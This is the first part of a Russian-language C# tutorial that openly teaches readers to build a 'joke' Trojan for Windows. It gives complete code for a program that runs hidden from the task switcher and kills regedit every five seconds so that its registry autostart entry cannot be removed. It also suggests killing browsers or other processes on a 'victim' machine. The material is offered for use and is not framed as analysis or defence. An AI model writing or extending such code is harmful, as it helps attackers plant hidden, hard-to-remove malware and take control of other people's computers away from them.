Часть 1.
Предлагаю вам небольшой урок по C#.
Как известно делать что-то хорошее скучно, поэтому будем писать
программу шутку или безобидный Trojan.
Начнемс.
Запускайте Visual studio(или что вам больше нравится) и создайте новый пустой проект,
я свой назвал ‘JokeApp’.
Наша программа должна будет работать на всех версиях Windows поэтому установите целевую среду в настройках проекта JokeApp на .Net framework 2.0 в обозревателе решений удалите появившийся файл конфигурации ‘app.config’ он нам не нужен. Установите в свойствах проекта тип приложения ‘приложение виндовс’ или ‘win forms app’ как-то так
Добавьте в проект ссылку на System.Windows.Forms.
Создайте два класса JokeMain и Program добавьте в них директивы
using System.Windows.Forms; затем измените класс JokeMain так:
using System; using System.Collections.Generic; using System.Text; using System.Windows.Forms; namespace JokeApp { class JokeMain : ApplicationContext { bool isDevmode = false; public JokeMain(bool Devmode) { isDevmode = Devmode; } } }
Полный код класса Program:
using System; using System.Collections.Generic; using System.Text; using System.Windows.Forms; namespace JokeApp { static class Program { /// <summary> /// Главная точка входа для приложения. /// </summary> [STAThread] static void Main(string[] agrs) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); if (agrs.Length > 0) { if (agrs[0] == "-Devmode") { Application.Run(new JokeMain(true)); } else { Application.Run(new JokeMain(false)); } } else { Application.Run(new JokeMain(false)); } } } }
Дальше будем работать с классом JokeMain.
Добавьте директиву using MyTimer = System.Timers.Timer;
Так как наша ‘Шутка’ будет прописывать себя в реестр на нужно запретить запуск редактора реестра что-бы сложнее было ее удалить
Создадим таймер для этого добавим MyTimer RegTimer;, а в конструкторе добавим:
RegTimer = new System.Timers.Timer();//Создаем экземпляр RegTimer.Interval = 5000;//ставим интервал на 5 секунды, для наглядности, можно меньше, но и за 5 сек. никто не сможет нас с реестра удалить RegTimer.Elapsed += new System.Timers.ElapsedEventHandler(RegTimer_Elapsed);//через каждые 3 секунды будет вызыватсмя метод RegTimer_Elapsed RegTimer.Start();//Старт
Добавьте директиву using System.Diagnostics;
Если RegTimer_Elapsed метод не добавился автоматически то добавьте его сами
void RegTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { Process[] p = Process.GetProcesses(); Process mp; for (int i = 0; i < p.Length; i++) { if (p[i].ProcessName == "regedit") { mp = p[i]; mp.Kill(); } } }
Жмите F5 для запуска отладки если все запустилось нормально нажмите Alt+Tab
И убедитесь что нашей программы не видно. Супер! Теперь попробуйте запустить regedit.exe и о чудо, он запускается и сразу вырубается, чего мы и хотели.
Еще можете убивать процессы браузеров и оставить “жертву” без инета ну ето будет жестоко или процессы других программ которые вы знаета есть на машине юзера.
Для начала достаточно, дописывать будем в продолжении статьи.